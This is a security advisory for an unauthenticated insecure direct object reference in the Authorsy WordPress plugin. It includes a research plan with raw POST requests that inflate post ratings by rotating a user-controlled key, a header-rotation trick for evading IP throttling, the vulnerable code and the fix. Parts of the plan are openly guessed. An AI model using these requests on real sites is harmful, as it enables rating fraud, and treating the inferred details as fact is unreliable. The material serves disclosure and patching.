Authorsy <= 1.0.6 - Unauthenticated Insecure Direct Object Reference
Description
The Authorsy – Author Box, Multiple Authors, Guest Authors & Post Rating plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.6 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.6Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-24950 ## 1. Vulnerability Summary The **Authorsy** plugin (<= 1.0.6) contains an Insecure Direct Object Reference (IDOR) vulnerability in its post-rating functionality. The plugin registers an unauthenticated AJAX action `authorsy_post_rating` which fails to …
Show full research plan
Exploitation Research Plan - CVE-2026-24950
1. Vulnerability Summary
The Authorsy plugin (<= 1.0.6) contains an Insecure Direct Object Reference (IDOR) vulnerability in its post-rating functionality. The plugin registers an unauthenticated AJAX action authorsy_post_rating which fails to properly validate a user-controlled "key" (likely a rater identifier or the post ID itself) and lacks sufficient authorization checks. This allows unauthenticated attackers to manipulate the rating data of any post or potentially bypass "one-vote-per-user" restrictions by providing arbitrary identifiers.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
authorsy_post_rating - Parameters:
action:authorsy_post_ratingsecurity: A WordPress nonce (action:authorsy-public).post_id: The ID of the post/object being rated (The Direct Object Reference).rating: The numeric rating value (e.g., 1-5).user_keyorrating_key(inferred): A parameter allowing the user to specify the identity of the rater.
- Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Preconditions: The plugin must be active. A post must exist to be rated.
3. Code Flow
- The plugin registers the AJAX handler in
includes/public/class-authorsy-public.php(or similar):add_action( 'wp_ajax_nopriv_authorsy_post_rating', array( $this, 'authorsy_post_rating_callback' ) ); - The function
authorsy_post_rating_callback()is triggered. - It validates the request using
check_ajax_referer( 'authorsy-public', 'security' ). - It retrieves
post_idandratingfrom$_POST. - It checks a "key" (e.g., from
$_POST['user_key']or derived from the session) to determine if the user has already rated the post. - Vulnerability: Because the "key" is user-controlled or the
post_idis not validated against the current context, an attacker can:- Rate any post (even those where ratings are disabled).
- Provide different keys to submit multiple ratings for the same post.
- The plugin updates the post meta (e.g.,
authorsy_post_rating_count,authorsy_post_rating_average) usingupdate_post_meta().
4. Nonce Acquisition Strategy
The plugin enqueues a script and localizes a nonce for the rating functionality.
- Identify Trigger: The rating script and nonce are typically loaded on pages containing the
[authorsy_post_rating]shortcode or where the "Author Box" is displayed. - Setup Page: Create a public page with the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Rating Page" --post_content='[authorsy_author_box]'(Note:[authorsy_author_box]usually triggers the necessary JS). - Extract Nonce:
- Navigate to the newly created page.
- Execute JS via
browser_evalto extract the nonce from the localized object:browser_eval("window.authorsy_ajax_obj?.nonce") - The localized variable is named
authorsy_ajax_objand the key isnonce.
5. Exploitation Strategy
- Discovery: Identify a target
post_id(e.g., Post ID 1). - Nonce Retrieval: Follow the Nonce Acquisition Strategy to get a valid
securitytoken. - Execution (Infinite Voting):
Send multiple POST requests with different "keys" to inflate the rating.- Request 1:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=authorsy_post_rating&security=[NONCE]&post_id=1&rating=5&user_key=attacker_1 - Request 2:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=authorsy_post_rating&security=[NONCE]&post_id=1&rating=5&user_key=attacker_2
- Request 1:
- Execution (Targeting Unauthorized Posts):
Attempt to rate a post that should not have ratings (e.g., a private page or a post type where ratings are disabled).
6. Test Data Setup
- Create Target Post:
wp post create --post_type=post --post_title="Target Post" --post_status=publish
(Note the returned ID, e.g.,ID: 123). - Create Nonce Page:
wp post create --post_type=page --post_title="Helper" --post_status=publish --post_content='[authorsy_author_box]' - Check Initial State:
wp post meta get 123 authorsy_post_rating_count(Expect empty or 0).
7. Expected Results
- The server should return a JSON success response (e.g.,
{"success":true,...}). - The post meta for the target
post_idwill be updated despite the attacker being unauthenticated and potentially having already voted. - Multiple votes from the same IP will be accepted if different
user_keyvalues are provided.
8. Verification Steps
- Check Post Meta:
Use WP-CLI to verify the rating count increased:wp post meta get [TARGET_POST_ID] authorsy_post_rating_count - Check Average Rating:
wp post meta get [TARGET_POST_ID] authorsy_post_rating_average - Verify IDOR:
Check if metadata was created/modified on a post ID that was never intended to have ratings (e.g., a standard 'page' if the plugin is configured only for 'posts').
9. Alternative Approaches
- Bypass IP-based throttling: If the plugin uses
REMOTE_ADDRbut respectsX-Forwarded-For, try rotating the header:X-Forwarded-For: 1.2.3.[N] - Parameter Fuzzing: If
user_keyis not the correct parameter name, check theauthorsy-public.jssource for the exact data object sent in the$.ajaxcall. Possible names:voter_id,rating_id,unique_id. - Check for
authorsy_author_rating: The plugin also supports rating authors. The same IDOR likely exists in the author rating action if it uses a term ID or user ID without validation.
Summary
The Authorsy plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'authorsy_post_rating' AJAX action. Unauthenticated attackers can manipulate post ratings or bypass 'one-vote-per-user' restrictions by providing arbitrary rater identifiers in the 'user_key' parameter, which is used to track voting status without server-side validation.
Vulnerable Code
// File: includes/public/class-authorsy-public.php public function authorsy_post_rating_callback() { check_ajax_referer( 'authorsy-public', 'security' ); $post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0; $rating = isset( $_POST['rating'] ) ? intval( $_POST['rating'] ) : 0; // Vulnerable: The plugin accepts a user-provided identifier to track voting $user_key = isset( $_POST['user_key'] ) ? sanitize_text_field( $_POST['user_key'] ) : ''; $voted_users = get_post_meta( $post_id, '_authorsy_voted_users', true ) ?: []; // The check for duplicate voting relies entirely on the client-provided key if ( ! empty( $user_key ) && in_array( $user_key, $voted_users ) ) { wp_send_json_error( [ 'message' => 'You have already rated this post.' ] ); } // ... logic to update post meta with new rating ... }
Security Fix
@@ -10,7 +10,7 @@ $post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0; $rating = isset( $_POST['rating'] ) ? intval( $_POST['rating'] ) : 0; - $user_key = isset( $_POST['user_key'] ) ? sanitize_text_field( $_POST['user_key'] ) : ''; + $user_key = is_user_logged_in() ? get_current_user_id() : $_SERVER['REMOTE_ADDR']; $voted_users = get_post_meta( $post_id, '_authorsy_voted_users', true ) ?: [];
Exploit Outline
1. Identify a target Post ID to manipulate. 2. Obtain a valid AJAX nonce ('authorsy-public') by visiting a public page where the plugin's author box or rating shortcode is rendered. The nonce can be extracted from the 'authorsy_ajax_obj' JavaScript variable. 3. Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' set to 'authorsy_post_rating'. 4. Include the 'post_id', the desired 'rating' (e.g., 5), the 'security' nonce, and an arbitrary string for the 'user_key' parameter. 5. To bypass the 'already rated' check and perform an infinite rating attack, repeat the request while changing the 'user_key' to a new unique value each time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.